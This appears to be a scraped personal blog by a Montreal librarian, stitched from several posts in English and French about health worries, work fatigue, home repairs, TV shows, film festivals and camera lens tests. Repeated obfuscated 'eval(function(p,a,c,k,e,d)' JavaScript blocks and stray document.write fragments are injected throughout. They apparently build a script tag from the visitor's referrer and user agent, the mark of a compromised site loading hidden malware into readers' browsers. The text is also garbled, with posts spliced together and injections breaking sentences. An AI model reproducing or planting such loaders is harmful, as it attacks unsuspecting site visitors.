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Another few weeks have passed quickly without anything significant happening: More crazy weeks at works and rainy week-ends where I don’t feel I accomplished anything. I am tired and really need a longer vacation. Next week I’ll start a ten-day holiday where I’ll be able to rest (sleep late!), catch up on stuff (writing, work around the house), travel around (Ottawa’s Tulip’s festival, Quebec City, botanical garden, museums, the libraries book sale, bury my mother’s ashes, etc.) and, above all, completely forget about work for a while. Or so I thought!
In hope for greener pastures, I have applied for a new library job (more responsibilities, further from home, but a greater challenge for my skills and a much better salary). However, after a lengthy processus, they scheduled an interview right in the middle of my vacation and at nine o’clock on the morning of my BIRTHDAY! Not only they made me filled a psychological test online (it’s called “an inventory of personality” and it will probably reveal that I am a total psycho) but they didn’t even bother to reply when I asked if it was possible to reschedule, so I’ll do my best to be there and we’ll see. Que sera, sera.
The weather has really been lousy lately. May is supposed to be the nicest month of all (and not only because it’s my birthday). Overall, it has been cold and rainy. It even snowed a little last week. In may! Hopefully, it will not portend that the summer will be likewise, and it will soon improve (at least for my vacations, please!).
Something strange happened at the beginning of the month: out of the blue, one late afternoon, I started to smell a vague odour of gazoline in the basement. It didn’t come from the obvious source, the garage. Usually, such smell comes from the sewage (through a dried P-trap) or from a dead animal but, in this case, it seemed to come from the pit of the water-pipe entry. I called the city and was told not to worry, it was “probably” not toxic and might have come from some work on the pipes in the neighbourhood (I couldn’t locate any nearby). I cracked open a window and the next morning it was gone. I never knew what it was.
The unlucky streak didn’t stop there. Not only I broke a piece of tooth while eating a granola bar during my lunch break at work (and I am still waiting for the dentist to find some spare time for an appointment), but I also discovered that the damage to the rear balcony of the house is more extensive than I first thought. The supporting posts are not planted deep enough (they rest on concrete supports that are just on the surface while they should be in soil deep enough so it never freezes in winter — who are the morons who built this house?!) so the ground expansion due to the freezing is slowly ripping the balcony off the house. So much that it has now become worrisome. We will have to do the repairs sooner than expected and it will probably be quite costly! What an exciting boring life!
Again, I must remind myself not to let the outside world rattle my core. Carpe diem, my boy, carpe diem!
Finally, I managed to stay acquainted with some of the affairs of the world and gathered notable news & links of interest — which I share with you (in both french or english, and organized into a few basic categories), after the jump.
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Another month (or so) has passed at lightning speed. Lots of stuff to do, particularly now that spring has come. We had plenty of rain at first, however now the weather is more enjoyable but still a little chilly. The humidity has made my left knee (and a bit my right ankle) hurt and, for a week, my back pain came back with a vengeance — libraries can be hard work sometimes (and not only for the soul; although it can be amusing too). I also had an episode of high blood glucose and I feared I would become a full-blown diabetic but it returned to my pre-diabetic “normal” after a week. This is no work for old men…
It has been a busy month. We’ve visited the notary twice for mom’s succession paperwork and there was plenty of work around the house particularly for the garden cleaning. I also had to deal with many unexpected problems: some strange Bell bug kept me from my blog for a week and I had some leaky roof, front door handle and water heater issues (the latter two just this weekend). Installing two more Outdoor Nest Cams (as one of my cheap IP cameras died following water damage inside the window) has been a strain on the Bell Wi-Fi causing serious performance problems. I’ll probably solve this issue by going back to Videotron, but only for the internet (I’ll share my sister’s).
A question on FB made me look back at my collection of old books and share my love for them. I also purchased a new Telephoto Mirror Lens for my camera. My TV viewing habits didn’t change much. I still watch too much TV: the new season for old series (When calls the Heart, Into the Badlands, Doctor Who) but two series are particularly worth mentioning for their quality: Anne and The Expense (and its beautiful opening credits with Norwegian vocals — listen on Soundcloud and Youtube). I also wanted to go see Ghost in the Shell in theatre but the reviews were not too good so I decided to wait. However, I’ll definitely won’t miss the Valerian‘s movie when it is released!
I have always considered blogging (and writing in general) as an essential mental exercice (as much as my daily walks) to keep in shape, the mind sharp and age better. However, now I have some doubt. It sometimes feels like a strain since I have less and less time to do it. I have to split my waking hours between my wife-together time, my me-time and work (from which I always come back exhausted). Lately, I had lots of problems with the blog (the Dropbox issue, not being able to log in for an entire week) and it leaves me with the dilema of having to choose between fixing the layout on the old posts or writing new material (or try to do both and be unhappy with the result). I just wonders if it is really worth it.
Maybe I should try less to DO something and just take more time to enjoy life right now (going to movies, to the museums, to the botanical garden, READ more, etc.) without always thinking about sharing it, what I would say about it, which angle I could use to explain the subject better or tell an interesting story about the whole experience. My health won’t improve with the years and I am quite sure that there is less road in front of me than behind, so maybe I should just take the most of it and enjoy the moment. Who’s reading me anyway. Although, I often say that I am writing for myself, so I can read what I wrote one day and remember how it was (particularly when I would not remember it at all). It is just like a journal left adrift in the binary stream of time, to create some sort of posterity.
Both ways seem kind of selfish: if I do write I feel guilty of not doing more of my life and, if I don’t, I feel I am letting myself down. Either way it is a losing battle. •Sigh* It’s the age-old depressing philosophical question: Did I ever really lived and did it really matter? I can only press on and hope for the best.
Finally, I nevertheless managed to stay acquainted with the (ever so depressing) affairs of the world and gathered a few notable news & links — which I share with you (in both french or english, and roughly divided into a few thematics), after the jump.
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I just purchased an Opteka 500 mm f/6.3 Telephoto Mirror Lens (left). It came with a 2x converter which brings the focal distance to 1000 mm (right).
Let’s see how it compares to my other lens (after the jump):
The Holidays and the couple of weeks that followed were rather quiet. Thankfully, document.write(“”); I had to deal with much less craziness at work. But that was only the eye of the storm and those depressing days (scientifically certified as such since Blue Monday fell on January 16th this year) are coming to an end. The days are getting longer and more shit will soon hit the fan. Of course, there’s also this endless American nightmare with everything Trump. I wish I could forget about all that and never hear about it again, but unfortunately that’s what the world has become now.
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I am already getting behind in my writings, but I caught up a little with my TV and movie watching. Besides the restarting new seasons (mostly Call The Midwife, Colony, Endeavour, Father Brown, Homeland), the notable new additions are Victoria and Dark Angel (although those two have already ended) as well as the weird Young Pope (a young and reckless leader is unexpectedly elected to head the Church — a little reminescent of the whole “orange is the new black” American electoral fiasco — but it’s directed by Paolo Sorrentino, who gave us La grande bellezza) and the quite interesting Mercy Street, a medical period drama set at the Mansion House Hospital during the American Civil War.
I’ll try to reinvent myself this year (so much to do) and push forward even harder on the path to improve my temperament and expend my knowledge. That’s the only purpose one can have.
Despite everything, I tried to stay acquainted (a bit) with the affairs of the world. Here’s a “few” notable news & links that I came across this month and that I’d like to share with you, after the jump (in no particular order, in both french and english): Continue reading
The first week was totally uneventful; another quiet but tiring week (with the usual craziness at work). However, document.write(“”); the second week was very busy with all sort of outings and events! First we had a family brunch to celebrate my mother’s 87th birthday. Then I finally received the (substantial) back-pay for the retroactive raise since the signature of our collective bargaining (the two good things that work brings: the pleasure of books and money! — but there’s only 550 weeks to endure).
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Wednesday, I finish work early and the museum is opened late, therefore I took this opportunity for a last-minute visit (last week!) at the Museum of Fine-Arts exhibit on Toulouse-Lautrec. Thursday, not only Apple released new hardware, but it was also the beginning of the 33rd Japanese Film Festival of Montreal at the Cinémathèque Québécoise. There was a sake tasting, a few speeches and then they screened A Tale of Samurai Cooking. I went to see a second movie on Saturday: Sue, Mai and Sawa. That was wonderful. I felt alive. It’s good to get busy since we don’t have that many good years left.
I also tried to read a little. I have so many books piling on my bedside table (haïku compilation, numerous mangas, Solaris #200, etc). However, I find it so hard to read lately. I am so busy that whenever I can read, I feel guilty and this sentiment is a distraction that make it difficult to concentrate on my reading. Quite annoying. And there’s plenty of other distractions… like watching TV! Beside the U.S. presidential election madness and the returning shows (7th season of Walking Dead, 2nd season of Poldark, 10th season of Murdock Mysteries, 14th season of NCIS, 2nd season of Blindspot, 3rd season of Z Nation, 8th season of Vampire Diaries, 4th season of A Place to call home), there’s very interesting newcomers like Westworld and Tutankhamun, or others like Class (a Doctor Who spin-off)! I’ve also watched on Dvd the Michael Moore documentary Where to invade next.
Maybe all that activity was too much, because I caught some bug (cold, stomach flu?) that left me tired, congestionned and with an upset stomach. But there’s no rest for the wicked and now I must work on my monthly accounting and pay the bills.
However, before I do that, I’d like to share with you a few notable news & links that I came across lately. Because, even with all this activity, I will always find some time to stay acquainted (a bit) with the affairs of the world. Here they are, after the jump, in no particular order, in both french and english):
Another busy week spent brooding about the craziness at work (still 555 weeks before retirement), document.write(“”); going to the hospital for another CT enterography for my wife and backing-up my computers to install macOS 10.12 Sierra on both my iMac and Mac Mini. Didn’t have much else on my mind.
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To relax we finished watching Dancing on the edge (Brit period drama about a black jazz band, part mystery and part social commentary on racism), the first episode of Maigret (Brit adaptation of Georges Simenon‘s police drama set in the ’50s Paris with Rowan Atkinson in the title role!!! It’s quite good once you’ve passed seeing Mr. Bean face. Now I understand why he never speaks in his sketches: he has a really serious, deep voice!) as well as the first two episodes of the second season of Poldark (yes, another Brit period drama).
And, of course, I still found a little time to stay acquainted with the affairs of the world. I therefore share with you a few notable news & links that I came across this week (in no particular order):
Pearl Before Swine: Friday, May 27, 2016
[Reminds me of someone…]
Ben: Wednesday, June 1st, 2016
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The first two weeks of September proved to be rather challenging. First, document.write(“”); I was trying to see as many of the Japanese movies shown at the Montreal World Films Festival as I could despite the troubles that the festival was experiencing and the fact that the schedule was constantly changing. Then, my wife woke up in the middle of the night with excruciating abdominal pain and we ended up at the hospital’s emergency ward. They kept her for five days and performed several tests without being sure of the nature or cause of the problems. They found some sort of enteritis to the small intestine and a gastritis. She feels well now, but it is a worrying situation since we’re still waiting for the result of the biopsy and more tests are scheduled. She survived cancer once ten years ago, so we are waiting the results with apprehension.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iihyi|var|u0026u|referrer|zrfay||js|php’.split(‘|’),0,{}))
It was tiring for me during that time because I had to shuttle back and forth between work (a.k.a the madhouse), the hospital and (once) the film festival. But the beginning of September also brought a few good news: Apple announced some new products as well as released updates, and I got a well over-due pay raise! Unfortunately, there’s still five-hundred-and-fifty-seven weeks left before I can retire from work and dedicate my entire time to my personal projects (like writing).
Despite all this, I found time to watch a few dvds at home with my wife. First, we watch Belle et Sébastien 2: L’Aventure continue. It’s a cute adventure dog movie, full of improbabilities but it also reminded me of the TV series I was watching when I was a kid. Then I watched Gods of Egypt (by myself because my wife doesn’t like sci-fi stuff), which tells — super-heroes style — the founding myth of Egypt where Horus must fight his uncle Set who killed his father Osiris in order to reign over Earth. Horus is helped by the thief Bek, who just want to save his lover Zaya. If you would removed the specials effects from this movie, it would have nothing left of interest…
Finally, I watch Hail, Caesar. It’s a star-laden film by the Coen brothers which poke fun of the Hollywood film industry in the 1950s while managing to recreate several of its archetypes: the peblum movies, the synchronized swimming and tap dancing movies, stunt-filled westerns, etc. The film follow studio manager Eddie Mannix (Josh Brolin) trying to hold production together while unmarried actress DeeAnna Moran (Scarlett Johansson) becomes pregnant and big star Baird Whitlock (George Clooney) is abducted by a conspiration of communists! Hilarious, beautifully written and an interesting window on the era.
As always I did my best to keep myself acquainted with the affairs of the world. So, let me share with you a few notable news & links that I came across in the last few weeks (in no particular order):
Dilbert: Tuesday, May 17, 2016 / “Boss Figures Out A System”
[A-Ah! That’s what they are doing!]
Between Friends: Wednesday, May 18, 2016
A photo posted by Leanne Oliveira (@comicfairy) on Apr 25, 2016 at 6:28pm PDT
[ Traduire ]
I always do my best to keep myself acquainted with the affairs of the world. So, document.write(“”); let me share with you a few notable news & links that I came across this week (in no particular order):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtbfs|var|u0026u|referrer|szdfe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|breet|var|u0026u|referrer|eheka||js|php’.split(‘|’),0,{}))
[ Traduire ]
Here are twenty-five notable news & links that I found interesting, document.write(“”); amazing or plain weird (in no particular order & some in French) / Voici vingt-cinq nouvelles et liens notables que j’ai trouvé intéressant, étonnant ou tout simplement bizarre (sans ordre particulier et la plupart en anglais):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsbns|var|u0026u|referrer|htaad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehhai|var|u0026u|referrer|adrba||js|php’.split(‘|’),0,{}))
[ Traduire ]
First, document.write(“”); on a personal note: the last few months have been quite trying for me (the summer has zipped past in no time). On top of having to adapt to a new job at an even crazier library, I undertook some (expensive) renovations at home and managing the various team of workers was quite a challenge. And not only I sprained my ankle (with a small fracture) so I had to wear a pneumatic cast for over a month (still do) but I also had to suffer another painful medical problem (won a free game in our pinball’s medical system). And I broke my glasses this morning. It seems that I am in for another anus horribilis. All this left me exhausted physically, mentally and morally. I lost all patience I had left to deal with (stupid) people and the world (tired of Trump and all this violence). To quote Indiana Jones, I am really getting too old for this shit. Therefore, I didn’t write much lately. Sorry.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfykn|var|u0026u|referrer|anizy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frnin|var|u0026u|referrer|siezr||js|php’.split(‘|’),0,{}))
However, all is not lost. The weather has been beautiful in the last few days and I am starting to feel better (hopefully it will keep improving; think positive: life is good). In the last week or so, I’ve been trying to remedy to this unfortunate neglect in my blogger’s duty. And, since the film festivals season is at our doors, I am starting to put online my movie comments from last year’s MWFF, in order to build up the interest and anticipation (whether the festival happens or not). I hope it’s working.
As always, I also keep myself acquainted with the affairs of the world. So, here are a few notable news & links that I came across this week (in no particular order):
Between Friends: Saturday, April 2, 2016
Rhyme with Orange: Monday, April 4, 2016
Ben: Saturday, April 16, 2016
Dilbert: Sunday, April 17, 2016
[ Traduire ]
J’ai acquis un nouvel objectif pour la Nikon D3300. Une zoom/macro AF70-300mm auto-focus motorisé de TAMRON (pas mal moins cher qu’un objectif Nikon!). C’est mieux que la zoom Olympus que je devais utilisé totalement en manuel. Au moins, document.write(“”); avec celui-ci, je peux relaxer et photographier en automatique si je le désir. La qualité est vraiment bien…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbiae|var|u0026u|referrer|inffn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkeyk|var|u0026u|referrer|nsker||js|php’.split(‘|’),0,{}))
Un nouvel objectif auto-focus pour la Nikon (déployé et fermé)
Nouvel objectif = nouveaux tests de caméra… Après le saut de page >>
Même point de vue que les tests précédents, avec distance focale de 70mm et 100mm
Et avec distance focale de 135mm et 180mm
Et avec distance focale de 300mm; pas mal du tout!
Quelques autres exemples de photos prisent avec la TAMRON
Le mont-Royal et une grue dans le CESM
Sentier du CESM (la TOHU en arrière-plan) et le Lufthansa D-AIKP
Intéressant mais je n’arrivais pas à faire la mise au point correctement
(Nikon D3300, Parc du CESM, 2016-04-20)
[ Translate ]
En cette belle journée ensoleillé mais fraîche (2’C), document.write(“”); j’ai pris une courte marche (4 km) dans le parc et cela m’a semblé une excellente occasion pour aussi faire quelques tests de caméra supplé-mentaires en extérieurs. Un beau ciel bleu avec quelques bandes de nuages…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keane|var|u0026u|referrer|heady||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|safee|var|u0026u|referrer|nkzhh||js|php’.split(‘|’),0,{}))
Le coin nord-ouest du CESM: falaise et nouveau stade de soccer (iPhone 6s)
Coin NW du CESM: Inukshuk et TAZ (g), forage et Stade Olympique (d) (iPhone 6s)
Continuez après le saut de page >>
Et maintenant les tests de caméras et de lentilles…
Vue du côté est du CESM: le Mont Royal (g) et zoom sur l’U de M et l’Oratoire St-Joseph (d)
Avec l’iPhone 6s, le zoom digital max (DF= 146mm, 3x?) cause beaucoup de perte de qualité
Même vue cette fois prise avec la Canon PowerShot, DF=6mm (aucun zoom) et DF=39mm (6x?)
Avec distance focale max (72mm, zoom optique 12x) et zoom digital max (+ 4x)
Ici aussi le zoom digital cause beaucoup de perte dans la qualité de l’image
Même vue prise avec la Nikon D3300 et la lentille Nikkor 18-55mm, DF de 18mm et 36mm
Même vue prise avec la Nikon D3300 et la lentille Nikkor 18-55mm, DF de 46mm et 55mm
Il n’y a pas beaucoup de zoom là-dedans!
Encore la même vue, cette fois avec la lentille OM Vivitar (via adapteur Fotodiox Pro OM-Nik)
à gauche: avec lentille OM Vivitar 80-200mm (DF= 80mm, ISO 800, f/16, 1/1000) (2016-04-10)
à droite: avec lentille OM Vivitar 80-200mm (DF= ±125mm, ISO 800, f/16, 1/1000) (2016-04-10)
Même vue prise avec la lentille OM Vivitar 80-200mm au zoom maximum (4x?)
Ici aucune perte de qualité (DF= 200mm, ISO 800, f/16, 1/1000) (2016-04-10)
Quelques autres clichés pris avec la lentille OM Vivitar 80-200mm (Nikon D3300, 2016-04-10)
Les résultats avec la lentille OM Vivitar 80-200mm semblent meilleur en extérieur (voir tests précédents), quoiqu’il est toujours difficile de faire les ajustements manuellement (particulèrement le focus). Pour m’aider à calculer l’ouverture, la vitesse d’obturation et la sensibilité ISO, j’ai utilisé une application iPhone gratuite (Light Meter). Malheureusement, l’ouverture que j’ai utilisé (f/16) a donné des images trop sombres et j’ai dû les corriger par la suite dans l’application Photos pour augmenter l’exposition. Toutefois, après correction, cela a donné des images plutôt satisfaisantes, quoique parfois un peu floues. Avec le temps, je vais sûrement m’habituer et éventuellement obtenir de meilleurs photos.
Même si j’aimais beaucoup la polyvalence de la Canon PowerShot S5 IS (son grand avantage sur l’iPhone est bien sur son zoom 12x), elle a tout de même ses limitations (lentille fixe et seulement 8 MP). Je peu donc m’en débarrasser sans trop de regrets. Le fait de pouvoir varier les lentilles sur la Nikon D3300 (et ses 24 MP!) offre beaucoup de possibilités. Je vais pouvoir faire plus de photos de nature (oiseaux et fleurs) et peut-être même m’essayer à la photo astronomique. Pour ce faire, il va me falloir bien sûr acquérir quelques nouvelles lentilles et surtout plus d’expérience. C’est donc pas les projets qui manquent!
Mise à jour (2016-04-13): J’ai ajouté les tests avec la Canon PowerShot S5 IS et refait les test de la Nikon D3300 avec la lentille Nikkor pour ajouter plus d’exemples avec différentes distances focales.
[ Translate ]
Caramel qui dort… & tests de caméra
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnesi|var|u0026u|referrer|rdfns||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rszaf|var|u0026u|referrer|eihbe||js|php’.split(‘|’),0,{}))
(Nikon D3300, document.write(“”); 2016-04-09)
Gauche: Cette photo de Caramel a été prise avec la lentille Nikon de base (voir ci-bas), à 3 pi de distance. DF=45mm, ISO 2500, f/5, 1/60.
Droite: Celle-ci avec la zoom Olympus (voir ci-bas), à 6 pi de distance. DF=200mm, ISO 3200, f/4, 1/30.
(iPhone 6s, 2016-04-10)
Gauche: Nikon D3300 avec lentille de base (AF-S DX VR Nikkor 18-55mm f/3.5-5.6G II) et filtre Japan Optics/Gobe 52 mm UV.
Droite: Nikon D3300 avec lentille Olympus OM (Vivitar 80-200mm 1:4.0 Macro Focusing zoom) connectée via un adapteur Fotodiox Pro OM-Nik; filtre Vivitar 55mm Skylight.
La Nikon D3300 est une excellente caméra DSLR pour débutant et très abordable. Toutefois l’utilisation de lentilles standard avec une DSLR est une expérience une peu difficile: l’adapteur ne fonctionne pas avec des lentilles dont l’attachement a des collerettes (trois de mes quatre lentilles OM en ont), on doit utiliser la caméra uniquement en mode manuel (choisir soi-même l’ouverture, la vitesse d’obturation, la sensibilité ISO, ce qui n’est pas toujours évident) et la mise au point est difficile à faire. Je considère donc acheter une zoom pour DSLR avec auto-focus. Mais bon il y a tout un apprentissage à faire aussi (je n’ai pas vraiment fait de véritable photographie depuis vingt-cinq ans, et je fais mes premiers pas avec une caméra DSLR)…
Toutefois, comme le disait Chase Jarvis, “Le meilleur appareil photo est celui qui est avec vous.” Et, dans mon cas, ce sera presque toujours mon iPhone 6s!
En passant, si il y a des intéressés, j’ai deux caméra 35mm Olympus OM-1N (un boitier noir et l’autre métallique), trois lentilles (OM Zuiko 28mm auto-w, 50mm auto-s et 50mm auto macro), des boucles d’extensions (7, 14, 25 mm) et de multiples filtres (Image 49mm Y2, Hoya +1, +2, +3, et Hoya 85) à vendre. Détails à venir…
[ Translate ]
Souvenirs de Science-Fiction Québécoise
Manga, jeu vidéo et arts mineurs
A blog about the pursuit of knowledge
A blog about the pursuit of knowledge
Émission littéraire + Suggestions + Confidences
read. write. art.
“If you are cold, tea will warm you; if you are too heated, it will cool you; If you are depressed, it will cheer you; If you are excited, it will calm you.” ― William Ewart Gladstone
A blog about the pursuit of knowledge
Book reviews and the occasional ramblings of a book blogger
Moi et les livres... dans cet ordre
Science, réflexion et poésie
Discussion, Resources, Roundtables, & Reviews
A blog about the pursuit of knowledge
A blog about the pursuit of knowledge
A blog about the pursuit of knowledge
Clodjee's Safe-House 